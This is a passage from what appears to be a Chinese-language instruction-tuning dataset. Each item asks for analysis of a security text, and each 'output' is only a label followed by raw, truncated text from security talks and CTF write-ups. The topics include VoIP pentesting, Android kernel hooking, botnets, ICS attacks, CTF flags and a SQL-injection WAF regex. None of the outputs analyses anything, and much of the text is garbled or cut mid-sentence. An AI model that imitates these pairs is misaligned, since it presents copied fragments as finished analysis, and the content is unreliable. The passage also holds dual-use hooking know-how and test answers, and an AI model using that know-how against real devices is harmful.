H Linux OS Kernel init uid:0 watchdog uid:0 sipd uid:0 loads kernel modules/drivers spawn webserver launch scripts command interface (web)server uid:0 Bootloader basic setup starts daemons checks if daemons run 14 Architecture and Attack Targets ARM/ MIPS F L A S H Linux OS Kernel init uid:0 watchdog uid:0 sipd uid:0 loads kernel modules/drivers spawn webserver launch scripts command interface (web)server uid:0 Bootloader basic setup starts daemons checks if daemons run 15 16 Methodology Abstract Methodology 17 Webserver is Running Web Pentesting Static Analysis Dynamic Analysis Setup VoIP Phone Attach HTTP Proxy Extract Firmware Emulation Abstract Methodology 18 Inject dynamic analysis tools Webserver", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0 Presented by: Dondi West, M.Sc., J.D. Associate, Booz Allen Hamilton Def Con 18 July 30th August 1st 2010 Las Vegas, Nevada A paper arguing that the current rules of war can address the emerging issues raised by cyber warfare A Survey and Examination of the Adequacy of the Laws Related to Cyber Warfare 1 Disclaimers The views expressed in this presentation and its supporting materials are those of the author alone and do not necessarily reflect the official policy or position of Booz Allen Hamilton, or any entity of the US Government. This talk is for general information purposes and is not intended to be and should not be taken as legal or consulting advice on any particular matter. 2 Agenda Introduction to CNO and the Actors Involved Survey of the Laws with the Largest Impact on Cyber Warfare Popular Issues Intensifying Cyber Warfare Debate Five Reasons Why the U.S. Shouldnt Enter into Intl Treaties for Cyber Warfare Conclusion, Question and Answers 3 Introduction President Obamas 60-Day Study 2008 Cyber Attack against Georgia Infrastructure and Key Government Websites Cyber Spies Penetrate US Electrical Grid (2009) July 4th Cyber Attacks Against U.S. Results of 60 Day Study Many Near-Term & Mid-Term Action Plans No Mandate for Examining Laws of Cyber Warfare in Results of 60-Day Study Intense Debate: International Treaty for Cyber Warfare 4 I. Introduction to Computer Network Operations and the Actors Involved 5 Introduction to CNO Joint Pub 3-13 Categorizes Cyber Acts Under the Domain of Computer Network Operations (CNO) 6 Computer Network Operations The term Cyber is used in a overly broad manner It is necessary to understand Cyber within the context of which of the three CNO domains are being referenced Computer Network Defense (CND) Includes actions taken via computer networks to protect, monitor, analyze, detect and respond to network attacks, intrusions, disruptions or other unauthorized actions that would compromise or cripple defense ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n因为公司经常会有批量动化测试的需求所以之前Python写了套类似于群控的机 调度系统 先想到的第个问题是如何使ADB控制机 开始我写了个 pyadbhelper 公共类内容是使 os.system 来调 adb 并且使 -s 参数来选择操作的设备 但实际上这个案很不稳定因为 adb 的代码既包含 server 端包含 client 端有时候 莫名其妙的就会把 server 端重启了(不同的环境有很多原因) 因为是多线程操作所以 旦重启那么其他线程有可能正在进 push pull 等操作就直接被中断导致任务失败 换种思路就是 python 实现个 client 端的协议与server 端通信有个现成的库可 供使: 1. google 的 python-adb 2. pure-python-adb 3. adbutils 作为名github star程师其实还有很多别的库但这三个是我认为相对稳定的(其实也 会有BUG) 在 Ubuntu 上如果想要使 adb先得配置好 udev 的 rule如果去百度搜索部分 教程都是教你动添加对应设备的 rule每换个机型就得去添加个残的话还 有可能写错 作为名 github star 程师我也找到了较便的解决案 android-udev-rules 前景 最后说个最重要的问题连接多台机定定定要带有独电源的USBHUB 且尽量要往贵的买 原因是如果电压不稳定设备就会频繁的断开重连造成很多莫名其妙的问题特别是在 push pull 等占满 usb带宽的操作p着p着就卡死或者结束了 三", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CyberTank Website Web A website link was attached. ## Modifications (50 points) > The CyberTank website is still heavily being updated as the company is still in its startup phase. There may be some leftovers from one of the recent modifications... > > Flag format: CTF{32-hex} Let's check the website source code: ```html ``` There's a link commented out in the menu. Let's visit it: ```html
You found our secret hideout... CTF{6b9639fb154dfa15b3cfb83215449fb2}
``` ## To the top (50 points) > CyberTank's legal team has created an extensive privacy policy. It's not easy to navigate, but luckily you can easily get back to the top... or not? > > Flag format: CTF{32-hex} If we visit the privacy policy page, we have a small icon that should take us back to the top: ```html
\"\"
``` However, if we try to click it, it moves somewhere else. ```javascript /************************* Scroll to Top *************************/ POTENZA.scrolltotop = function () { var $scrolltop = $('.car-top'); $scrolltop.on('mouseover', function () { if (this.style.left.indexOf('30px') > -1) { this.style.left = '' this.style.right = '30px' } else { this.style.right = '' this.style.left = '30px' } return false; }); $scrolltop.on('click', function () { $('html,body').animate({ scrollTop: 0 }, 800); $(this).addClass(\"car-run\"); setTimeout(function(){ $('
Congratulations, you got a flag ;) '+atob(\"Q1RGezE2ZGRmMWQyZDE4MDVkOW", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n技 术 标 准 研发运营一体化能力成熟度模型 第 3 部分持续交付过程 The DevOps capability maturity model Part 3: Continuous delivery process 征求意见稿 2017 年 11 月 18 日 YDB XXXXXXXXX I 目 次 目次................................................................................... I 前言.................................................................. 错误! 未定义书签 研发运营一体化......................................................................... 1 1 范围 ............................................................................... 1 2 规范性引用文件 ..................................................................... 1 3 术语 ............................................................................... 1 下列术语和定义适用于本文件 ......................................................... 1 3.1 AB 测试 ab test .............................................................. 1 3.2 制品 artifact ............................................................... 1 3.3 代码复杂度 code complexity .................................................. 1 3.4 部署流水线 deployment pipeline .............................................. 1 4 缩略语 ............................................................................. 2 5 综述 ............................................................................... 2 6 配置管理 ........................................................................... 2 6.1 版本控制 .................................................................... 2 6.2 版本可追溯性 ................................................................ 3 7 构建与持续集成 ..................................................................... 4 7.1 构建实践 .................................................................... 4 7.2 持续集成 .................................................................... 5 8 测试管理 ........................................................................... 5 8.1 测试分层策略 ................................................................ 6 8.2 代码质量管理 ................................................................ 6 8.3 自动化测试 ....................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAdvances in Linux process forensics with ECFS Quick history Wanted to design a process snapshot format native to VMA Vudu http://www.bitlackeys.org/#vmavudu ECFS proved useful for other projects as well Problem space A process address space is complex with many components ELF binary format (structural nuances) Dynamic linking Architecture specific data and structures Kernel specific data and code (VDSO, VSYSCALL) Multiple threads Hackers infect processes Process infection is stealth and flexible Processes are attacked in many ways Viruses Rootkits Backdoors Exploitation Process forensics capable tools Volatility Rekall Second Look ptrace system call GDB Core dumps Volatility in kernel land Use full system memory dumps Dwarf symbols to acquire high resolution insight into the Linux kernel Can be used to detect virtually any kernel malware System.map, and libdwarf are friendly for this (Creating kernel profiles) Volatility in process memory detect_plt A plugin for detecting PLT/GOT hooks by Georg Wicherski Process snapshots are raw Low resolution insight compared to kernel Plugin development is a big task No profile can exist for each process Full memory dump vs. process memory dump Macrocosm: full memory dump Microcosm: process memory dump ECFS focuses on the Microcosm Extended core file snapshot A custom core file format for forensics analysis Backwards compatible with Linux Core files HI-DEF resolution process-snapshots Overview of attack surface ET_DYN Injection (.so files) ET_REL Injection (.o files) ET_EXEC Injection (exe files) LD_PRELOAD __libc_dlopen_mode sys_ptrace VDSO manipulation Shellcode based loading Symbol and code hijacking PLT/GOT poisoning Trampolines (inline hooks) .ctors/.dtors patching Text segment modifications and other anomalies Process memory layout Definition of process memory forensics & analysis Understanding the process layout and structure Learning the programs runtime characteristics ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 二十二资源 + OnlineTraining + [WebApplication Exploits and Defenses](https://google-gruyere.appspot.com) + [The Exploit Database](https://www.exploit-db.com/) + [Udacity](https://cn.udacity.com/) + Bug Bounty Platforms + [Hackerone.com](https://Hackerone.com) + [Bugcrowd.com](https://bugcrowd.com/) + [Synack.com](https://www.synack.com/) + [Cobalt.io](https://cobalt.io/) + Video Tutorials + [youtube.com/yaworsk1](https://youtube.com/yaworsk1) + [Seccasts.com](https://www.youtube.com/c/nVisium/) + [Twitter#infsec](https://twitter.com/hashtag/Infsec) + [Twitter@disclosedh1](https://twitter.com/disclosedh1) + [Web Application Hackers Handbook](https://www.amazon.cn/%E9%BB%91%E5%AE%A2%E6%94%BB%E9%98%B2%E6%8A%80%E6%9C%AF%E5%AE%9D%E5%85%B8-Web%E5%AE%9E%E6%88%98%E7%AF%87-Dafydd-Stuttard/dp/B008FNO9GK) + [Bug Hunters Methodology](https://github.com/jhaddix/tbhm) + Recommended Blogs + [philippeharewood.com](http://philippeharewood.com/) + [Philippe'sFacebookPage](https://www.facebook.com/phwd-113702895386410) + [fin1te.net](https://whitton.io/) + [NahamSec.com](http://nahamsec.com/) + [blog.it-securityguard.com](http://blog.it-securityguard.com/) + [blog.innerht.ml](http://blog.innerht.ml/) + [blog.orange.tw](http://blog.orange.tw/) + [Portswigger Blog](http://blog.portswigger.net/) + [Nvisium Blog](https://nvisium.com/blog/) + [blog.zsec.uk](https://blog.zsec.uk/) + [Bug Crowd Blog](https://blog.bugcrowd.com/) + [HackerOne Blog](https://www.hackerone.com/blog)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# vault-door-5 Reverse Engineering, 300 points ## Description: > In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! ```java import java.net.URLDecoder; import java.util.*; class VaultDoor5 { public static void main(String args[]) { VaultDoor5 vaultDoor = new VaultDoor5(); Scanner scanner = new Scanner(System.in); System.out.print(\"Enter vault password: \"); String userInput = scanner.next(); String input = userInput.substring(\"picoCTF{\".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println(\"Access granted.\"); } else { System.out.println(\"Access denied!\"); } } // Minion #7781 used base 8 and base 16, but this is base 64, which is // like... eight times stronger, right? Riiigghtt? Well that's what my twin // brother Minion #2415 says, anyway. // // -Minion #2414 public String base64Encode(byte[] input) { return Base64.getEncoder().encodeToString(input); } // URL encoding is meant for web pages, so any double agent spies who steal // our source code will think this is a web site or something, defintely not // vault door! Oh wait, should I have not said that in a source code // comment? // // -Minion #2415 public String urlEncode(byte[] input) { StringBuffer buf = new StringBuffer(); for (int i=0; i decodeURIComponent(Buffer.from(\"JTYzJT", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNathan Hamiel Principal Consultant Associate Professor at UAT Marcin Wielgoszewski Security Engineer Reliance on tools can = Fail! Many more people tes4ng web apps Vendors play catch-up Success is on your shoulders Difficult cases APIs and specialized data formats Sequenced opera4ons Randomized data Language specific Object-oriented Byte compiled Fast Wide support Many security tools wriLen in Python Plenty of help available Plenty of resources for learning available w3af SpikeProxy sqlmap ProxyStrike wapi4 sulley Peach Canvas Pyscan DeBlaze Scapy MonkeyFist Pcapy MyNav Idapython CPython hLp://python.org Jython hLp://jython.org IronPython hLp://ironpython.net Start with hLp://python.org hLp://docs.python.org/ hLp://docs.python.org/tutorial/index.html Googles Python Class hLp://code.google.com/edu/languages/google- python-class/ There are differences between Python 2.x and 3.x Walk like a duck and quack like a duck Standard Lib hLplib urllib / urllib2 urlparse HTMLParser struct xml json (Python 2.6) difflib 3rd Party hLplib2 lxml zsi / suds PyAMF pydermonkey Twisted hLplib Standard HTTP Module Good for GETs and POSTs HTTP / HTTPS support hLplib2 Expanded HTTP method support Supports various auth methods Automa4cally follows 3xx redirects urllib High level module for opening resources Has URL encoding capabili4es urllib2 Expanded support for handlers Merged in Python 3 along with urlparse Examples Perform transi4on magic URL encoding and Escaping String methods (base64 / hex / rot13, etc) Data representa4ons (decimals / en44es / etc) DharmaEncoder Provides methods to encode and wrap values hLp://hexsec.com/labs Do the legwork Know your app Know your parameters Know your data Work smarter Create accurate ranges itertools methods Dont empty the clip Web fuzzing lib for Python hLp://code.google.com/p/pywebfuzz/ Usable in Python 2.x Easy to distributable and repeat tests Convenience Fuzzdb values acc", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# WhiteHat 2020 finals Team: msm, chivay, c7, k.2, eternal, rodbert, nazywam ### Table of contents * [reversing01](reversing01) * [programming02](programming02) * [programming03](programming03) * [misc04](misc04)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBotfox 基於瀏覽器與社交工程之殭屍網路研究 Botnet based on Browser and Social Engineering 動機 你知道嗎 現行的安全防護不像你想像的那般健壯 ... 實驗證實 它可以繞過目前所有常見的安全防護 ... 你相信嗎 它的技術含量低到只有我用它 ... 你相信嗎 它的建置成本很低很低 ... 你認同嗎 大腦本身就是一種永遠可以被利用的 0day... 自我介紹 Ant yftzeng@gmail.com 中研院 自由軟體授權 台灣駭客年會講師 Wow!USB 隨身碟防毒 Wow!ScanEngine 掃毒引擎 Wow!ARP 防護軟體 經濟學 混沌 複雜 程式設計師 系統管理師 資訊安全實習生 自由軟體鑄造場 FreeBSD 官方中文文件維護者 主題 來到 Web 2.0 的時代 歡迎 hawaii@flickr.com http://www.flickr.com/photos/hawaii/2089328125/ pablolarah@flickr.com http://www.flickr.com/photos/pablolarah/3549205887/ libraryman@flickr.com http://www.flickr.com/photos/libraryman/2528892623/ daysies@flickr.com http://www.flickr.com/photos/daysies/2554510463/ 來到 Cloud 的時代 歡迎 mediaeater@flickr.com http://www.flickr.com/photos/mediaeater/3476903211/ jaxmac@flickr.com http://www.flickr.com/photos/jaxmac/193001859/ Power Robust Convenience 當一切都變得不再單純 ... 來到 Web 2.0 的時代 歡迎 Bot 2.0 的時代 (aka. CloudBot) Bot 1.0 Attacker C&C Server Zombies Victims Bot 2.0 (aka CloudBot) Attacker Tor Legitimate Server Bot 1.0 Bot 2.0 Botnet 的定義 指由 Malware 操控平台所成形成的一種 Command and Control (C&C) Topology 透過 Botnet 架構讓 Hacker 能夠大量且自動化地操控 Bot 來源 : Jeremy Chiu (aka Birdman) Workshop on Understanding Botnets of Taiwan 2009 第一屆台灣區 Botnet 偵測與防治技術研討會 殭屍網路的 演化史 Photo: Dunechaser@flickr.com http://www.flickr.com/photos/12426416@N00/490888951 演化趨勢 推斷未來模式 以 Protocol 分群 Protocol 1. IRC 2. HTTP 3. P2P 4. Instant Messenger (MSN etc.) 5. Own communication Botnet Trends Analysis Photo: wil.eeam@flickr.com http://www.flickr.com/photos/wileeam/2410989725/ Botnet Trends Analysis 1. 高隱匿難追蹤 2. 利用社交工程 3. 開始注意嵌入式設備 4. 以感染的數量換取其它的優勢 Photo: wil.eeam@flickr.com http://www.flickr.com/photos/wileeam/2410989725/ http://dronebl.org/blog/8 Router Botnet http://dronebl.org/blog/8 * called 'psyb0t' * maybe first botnet worm to target routers and DSL modems * contain shellcode for many mipsel devices * not targeting PCs and Servers * user multiple strategies for exploitation, such as bruteforce user/pass * harvests usernames and passwords", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2021 TXOne Networks Inc. Taking Apart and Taking Over ICS-SCADA Ecosystems A Case Study of Mitsubishi Electric Mars Cheng Selmon Yang August, 2021 @DEF CON 29 2021 TXOne Networks Inc. Who are we? A subsidiary company under Keep the Operation Running Threat Defense Expertise Industry Adaptive Solution OT-Focused Technology Trend Micro Inc 2021 TXOne Networks Inc. x Who are we? x Mars Cheng Spoke at Black Hat, HITB, HITCON, SecTor, ICS Cyber Security Conference, InfoSec Taiwan and etc. Instructor of Ministry of National Defense, Ministry of Education, Ministry of Economic Affairs and etc. General Coordinator of HITCON 2021 Vice General Coordinator of HITCON 2020 Threat Researcher at TXOne Networks Selmon Yang Staff Engineer at TXOne Networks IT/SCADA Protocol Parsing Linux Kernel Programming Honeypot Deployment & Optimization In-depth ICS research specialist Has spoken at CYBERSEC, HITB, and HITCON 2021 TXOne Networks Inc. Outline Modern ICS/SCADA Ecosystems Overview Dissect and Compromise Mitsubishi Ecosystems A Story of Reporting the Vulnerability Mitigation and Closing Remarks 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview Market Share Mitsubishi Electric Largest in Asia Pacific Top 3 in Global Market https://ipcsautomation.com/blog-post/market-share-of-different-plcs/ 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview PLC Manufacturers Ranked in Order of Industrial Automation Net Annual Sales Revenue Rank PLC Manufacturers Industrial Automation Revenue (millions of USD) Consolidated Revenue (millions of USD) 1 Siemens (Simatic) $18,281 $98,636 2 Mitsubishi Electric (Melsec) $13,346 $41,120 3 Emerson (GE Fanuc) $12,202 $18,372 4 Hitachi $8,654 $86,250 5 Bosch (Rexroth) $8,523 $88,319 6 Schneider Electric (Modicon) $7,172 $30,861 7 Eaton (Cutler-Hammer) $7,148 $21,390 8 Rockwell Automation (Allen Bradley) $6,694 $6,694 9 ABB (B&R Automation) $6,273 $27,978", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nConfidential to SEWORKS Copyright 2013 SEWORKS Inc. All rights reserved. Android Hooking Attack SEworks Hong Brothers Minpyo Hong, Dongcheol Hong hinehong@seworks.co.kr 2 SEWORKS Co., Ltd SEworks is a company created by a hacker. Main areas of mobile security, and Android, Windows App protected areas, such as obfuscation is mainly research. Minpyo Hong (Nick : Secret) SEworks CEO(Chief Executive Officer) and WOWHACKER team founder/admin. Dongcheol Hong (Nick : hinehong) SEworks CTO(Chief Technology Officer) and WOWHACKER team admin. 3 Kernel Hooking Hooking using LKM Kernel module. Library Hooking Android system library module hooking. 1. KERNEL HOOKING Android Hooking Attack 5 Kernel Hooking Most of Kernel rootkit using LKM (loadable kernel module) Samsung's kernel source location \"opensource.samsung.com Look at the README.txt HOW TO BUILD KERNEL 2.6.35 FOR Sxxxxx 1. Visit http://www.codesourcery.com/, download and install Sourcery G++ Lite 2009q3-68 toolchain for ARM EABI. 2. Extract kernel source and move into the top directory. 3. Execute 'make aries_kor_defconfig'. 4. Execute 'make' or 'make -j' where '' is the number of multiple jobs to be invoked simultaneously. 5. If the kernel is built successfully, you will find following files from the top directory: 6 LKM module compile Source file and Makefile put the same directory. Using make Gallaxy S example. obj-m += test.o all: make -C /home/hinehong/sxxxxx/Kernel M=$(PWD) CFLAGS_MODULE=-fno-pic ARCH=arm CROSS_COMPILE=/home/hinehong/CodeSourcery/Sourcery_G++_ Lite/bin/arm-none-eabi- modules 7 LKM module compile Install : insmod Module name View list : lsmod Module name Delete : rmmod Module name init_module Dynamic memory allocation function is kmalloc in kernel. 8 Sys_call_table In Linux, the system call functions defined in sys_call_table. /proc/kallsyms System.map of the kernel source code 9 How to get the address of dynamically sys_call_table Using vector_swi handler. vect", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# ASIS CTF 2019 Finals Team: ak, c7, msm, rodbert, nazywam, sasza, rev, Eternal ### Table of contents * [Serifin (crypto)](serifin) * [Primordial (crypto)](primordial) * [Close primes (ppc)](close_primes) * [Truncated form (ppc)](truncated_form) * [Secrets (forensics)](secrets) * [Protected area 1(web)](protected_area1) * [ShareL (web)](sharel) * [True zero (re)](true_zero)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n19.07.2013 DEX EDUCATION 201 ANTI-EMULATION TIM STRAZZERE - HITCON 2013 Friday, July 19, 13 WHOAMI Lead Research & Response Engineer @ Lookout Mobile Security (yes.. an av) Reversed the Android Market/Google Play Protocol Always enjoyed reversing exotic platforms, writing tools to automate the mundane Junkie for reversing mobile malware, creating write ups and teaching other to help raise the bar Friday, July 19, 13 AGENDA Recap of Dex Education 101 Who is evading emulators / How is it done Who is hiding emulators / How is it done Easy detection - Hard time hiding Basic emulator detection / QEMU-FOO Advanced detection of emulator systems TLDR; Conceptualizing detection Friday, July 19, 13 RECAP OF DEX EDUCATION 101 Decompilers and disassemblers are easy to break but no one was doing it! Predicting these breakages can help up prevent and detect attacks Advances since then; DexGuard (Most sophisticated Android Malware) HoseDex2Jar Slides available: www.strazzere.com/papers/DexEducation-PracticingSafeDex.pdf Friday, July 19, 13 RECAP OF DEX EDUCATION 101 HoseDex2Jar used the big ego tactic of injecting files into the header Author even said hiTim in one of his method names (HOW NICE) github.com/strazzere/dehoser Latest example uses some simple crypto inside of native code - go play! Friday, July 19, 13 Friday, July 19, 13 WHO IS EVADING EMULATORS? Security Researchers Game cheaters / hackers Devs against competition Malware authors (?) Friday, July 19, 13 MOTIVE FOR EVASION? Games detect emulators to prevent cheating/abuse Must uniquely identify devices to prevent referral abuse/easy cheating Attempt to stop farming/cheats App devs want to protect secrets Security researchers want to break stuff, get famous and pwn people duh! Malware authors want to avoid detection of their products Friday, July 19, 13 DETECTION IMPORTANT? Games / App / Research / Malware All have different use cases and trying to detect different segments Games want ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nText 腳本小子的告白 -硬碟的秘密大公開 Confessionsofscriptkiddie-HardDriveSecretLetOut Who Am I? thx OSSLab 成立者 練過神功 所以只會硬不太 會軟 我是怎樣開始踏上研究 DIY 萬歲 這就是資料恢復真實成本 要找到一樣相容硬碟 又不保證成功率 碟片上有隱性刮傷 能Extract 的資料是否客戶要的 設備成本 (低塵操作環境,資料恢復設備) 簡單說 有時這跟賭博行業差不多 終極好人技已講完收工 議程三分鐘 已經講完了 大 家現在可散場好了 來這做行 業賺錢. 向水電工學習的講師表示我當然可 以超過三分鐘 這可是50分鐘議程 範例 學妹說她的硬碟IC 燒掉了 身為一個水電工,當然隨身攜帶電表,為了學 妹的資料,我掏出我的..........................電表. 水電工 國中工藝課實習教學 拿一顆正常的硬碟 通電 ,拿出電表量就會發現 這邊要 先確定GND(負極)腳位 ,再把黑針放到各接點就會發現. 分析後的硬碟電源供應圖 這樣燒掉的PCB 可修好讓它 動嘛? 你看這結構, 如果5V 超壓 會怎樣? 很有機會燒掉很多元件, 請準備砍掉重練 SPI Flash 晶片 學妹早就不在了 所以變成日立電路板 請見諒 簡單說 就是壞掉那 就找那好的替換 原資料碟電路板上的 儲存性元件就要保留 我不想只做水電工可以嘛? 於是我買傳說中的硬碟維修設備 PC3000 http://www.acelaboratory.com/ 這是一張很貴的PCI 卡 昂貴的資料恢復設備原理 FPGA IC .內建ATA IP Core.並且可用於加密保護軟體不 被複制 電源控制模塊. USB serial port.用於硬碟TTL終端通訊控制. 能執行工作 對各廠牌硬碟固件區進行讀寫操作. 對不良磁碟 鏡像ATA Reset, Power reset提高讀取成功 率. 買了設備給的外星技術文件 我是地球人(也沒有烏克蘭女 友或老婆做我的翻譯年糕) 兔兔老婆表示震怒!!!!!!!!!! 兔老婆說既然娶了中國老婆就要看中文的 作者有在百度百科 這本是聖 經嗎? 戴士劍2003年出版第一部數據 恢復技術書促進了數據恢復產業發展 帶動數據恢復產業 走向科學正規有序的發展道路 我自己弄到英文的技術手 冊.... 對岸的國X信息中心表示 ,感謝台灣同胞無私的分享 司法數位鑑識人員 使用心得(一) 我們原本以為硬碟本身不需要維修對於故障硬碟內的數據直接拷貝硬盤 出問題了要想得到裡面的data 要先修好韌體的才有可能進行資料拷貝 所以這方面的學習還得加強好歹我有基礎啊看說明書對硬盤的原理作了 大堆介紹然後對PC3000UDMA操作菜單進行了功能的說明但隨著越來越 深入的了解而是你操作極其太復雜簡直一不留神數據徹底變沒 經過半月的學習進行資料恢復過程中發現PC3000UDMA對硬盤的多種功 能處理方式都不一樣一個功能之針對一個問題而主要是一個功能必須結 合幾個功能搭配使用才可能有效注意哦是有可能有效果那就是說也 有可能無效這不是簡單的加減法如果關鍵地方搞錯了你功能鍵的前後 順序搞反了那恭喜你了你的硬盤不僅不能修復還將徹底廢掉硬盤而 這種情況機率還相當的高我現在也搞懂了為什麼原來拿數據出去恢復時 數據恢復公司的工程師就是不願意讓你在旁邊看美其名曰技術保密實 際上是在操作失誤後方便徹底毀滅數據讓你在其他地方都死無對證 司法數位鑑識人員 使用心得(二) 除了複雜就是複雜這是我使用PC3000UDMA後的感覺 PC3000UDMA主卡反正是我已經用了半年了搞明白的只占三分之 一這東西除了操作復雜還需要大量的經驗有很多說明書上說的 一回事操作起來又一回事在我手裡光榮犧牲的硬盤不下一百塊 了但用起來還是吃力無比這個至少搭上了我一大半的工作時間 啊有時候周末的時間都搭在上面嚴重的投入和產出不成對比 各位不要以為我比你們傻聽說公安系統的買了80套老版本的 PC3000PCI的主卡回去一年下來只有2套還在偶爾用用其他的 直接都扔角落了那些人不比我傻吧 為何大家都狀況外? PC 3000人機介面真的很爛.. 不夠瞭解硬碟的本質工作原理 硬碟有多重故障原因可能性(硬體,韌體 教學人員只是個代理 這行不喜歡有體系的教學 想寫有體系的教學的人又沒 技術.. 多麼痛的領悟 K書跟實務操作幾年 終於略懂這些技術文件在說啥 Call me Master !!!!! (快叫我 大大) 對這種概念不清的又不知整個硬碟韌 體架構的人.操作這些設備很容易把 硬碟弄掛了.. 以下部份為我本來要在企業場講的架 構 現在大家聽到賺到oh !!!! 硬碟啟動流程 (以WD為範例) MCU ROM bootstrap 內部或是外在SPI ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRealtime Bluetooth Device Detection with Blue Hydra Granolocks Zero_Chaos Granolocks Narcissus Experimenter Developer Long walks in the woods Travel to exotic locations Hacking the planet Give great back rubs Zero_Chaos Narcissus Eagle Scout Open{Zaurus,Embedded,wrt} Maintainer Aircrack-ng Developer Injection/Drivers, airmon-zc Pentoo Linux Developer Gentoo Linux Developer Random Hacker of ARMs Husband Father Random Association of Wireless Researchers (RAWR) Defcon/Shmoocon/etc Wireless CTF Far too easily entertained Not a lawyer Bluetooth Waterfall Fft screenshot airmon-ng airmon-ng start hci0 fake screenshot airodump-ng Airodump-ng fake screenshot Our normal approach is useless... airmon-ng and airodump-ng errors Bluetooth Proliferation Random IoT and wearables stats What is Bluetooth Cheap Cable replacement FHSS No monitor mode :-( Class Class 1 100mW (high power devices, Sena dongle) Class 2 10mW (phone / most laptops) Class 3 1mW Bluetooth Classic Discoverable Non-discoverable Bluetooth Low Energy General Discoverability Limited Discoverability Non-discoverable Yet somehow still advertises? Basic Bluetooth Security PIN Etc something Prior Art - cracking Redfang Btcrack Crackle Le pin cracker Bluesnarfer Phonebook dumping from old phones Prior Art - discovery Bluelog Discoverable classic only No le support Mostly a logger Btscanner Discoverable classic only No le support Unmaintained Neat gui Prior Art getting closer Bluez Useful documentation and examples hciconfig hcitool Only discoverable classic devices Lescan works but hard to parse outdated Test-scripts bluez-test discovery Easy to modify Shows classic and le Teaches us how to talk to the bluetooth card Hides some le devices Prior Art - Ubertooth Ubertooth-scan Ubertooth-rx Ubertooth-rx -z Goals Like airodump-ng and btscanner Support btle Find as many extant devices as possible Database backend Not interesting in cracking/brute fo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNew Techniques in SQLi Obfuscation SQL never before used in SQL Injection Nick Galbreath @ngalbreath nick@client9.com DEFCON 20 at the Rio in sunny Las Vegas 2012-07-27 Friday 4:20 pm! http://slidesha.re/ MfOiNR Follow along or get the latest version: That's an OH, not a zer0 SQL Specification http://www.contrib.andrew.cmu.edu/ ~shadow/sql/sql1992.txt 625 pages of plain text http://savage.net.au/SQL/sql-2003-2.bnf 119 pages of pure BNF No one implements exactly Everyone has extensions, exceptions, bugs Regexp Based WAF (?:\\)\\s*when\\s*\\d+\\s*then)|(?:\"\\s*(?:#|--|{))|(?:\\/\\*!\\s?\\d+)|(?:ch(?:a)?r\\s*\\(\\s*\\d)|(?:(?:(n?and|x?or|not)\\s+|\\|\\||\\&\\&)\\s*\\w+\\() (?:[\\s()]case\\s*\\()|(?:\\)\\s*like\\s*\\()|(?:having\\s*[\\s]+\\s*[\\w\\s])|(?:if\\s?\\([\\d\\w]\\s*[=<>~]) (?:\"\\s*or\\s*\"?\\d)|(?:\\\\x(?:23|27|3d))|(?:.?\"$)|(?:(?:[\"\\\\]*(?:[\\d\"]+|[\"]+\"))+\\s*(?:n?and|x?or|not|\\|\\||\\&\\&)\\s*[\\w\"[+&!@(),.-])|(?:[\\w\\s]\\w+\\s*[|-] \\s*\"\\s*\\w)|(?:@\\w+\\s+(and|or)\\s*[\"\\d]+)|(?:@[\\w-]+\\s(and|or)\\s*[\\w\\s])|(?:[\\w\\s:]\\s*\\d\\W+[\\w\\s]\\s*\".)|(?:\\Winformation_schema|table_name\\W) (?:\"\\s*\\*.+(?:or|id)\\W*\"\\d)|(?:\\\")|(?:[\\w\\s\"-]+(?<=and\\s)(?<=or\\s)(?<=xor\\s)(?<=nand\\s)(?<=not\\s)(?<=\\|\\|)(?<=\\&\\&)\\w+\\()|(?:\"[\\s\\d]*[\\w\\s]+\\W*\\d \\W*.*[\"\\d])|(?:\"\\s*[\\w\\s?]+\\s*[\\w\\s]+\\s*\")|(?:\"\\s*[\\w\\s]+\\s*[\\W\\d].*(?:#|--))|(?:\".*\\*\\s*\\d)|(?:\"\\s*or\\s[\\d]+[\\w-]+.*\\d)|(?:[()*<>%+-][\\w-]+[\\w\\s] +\"[,]) 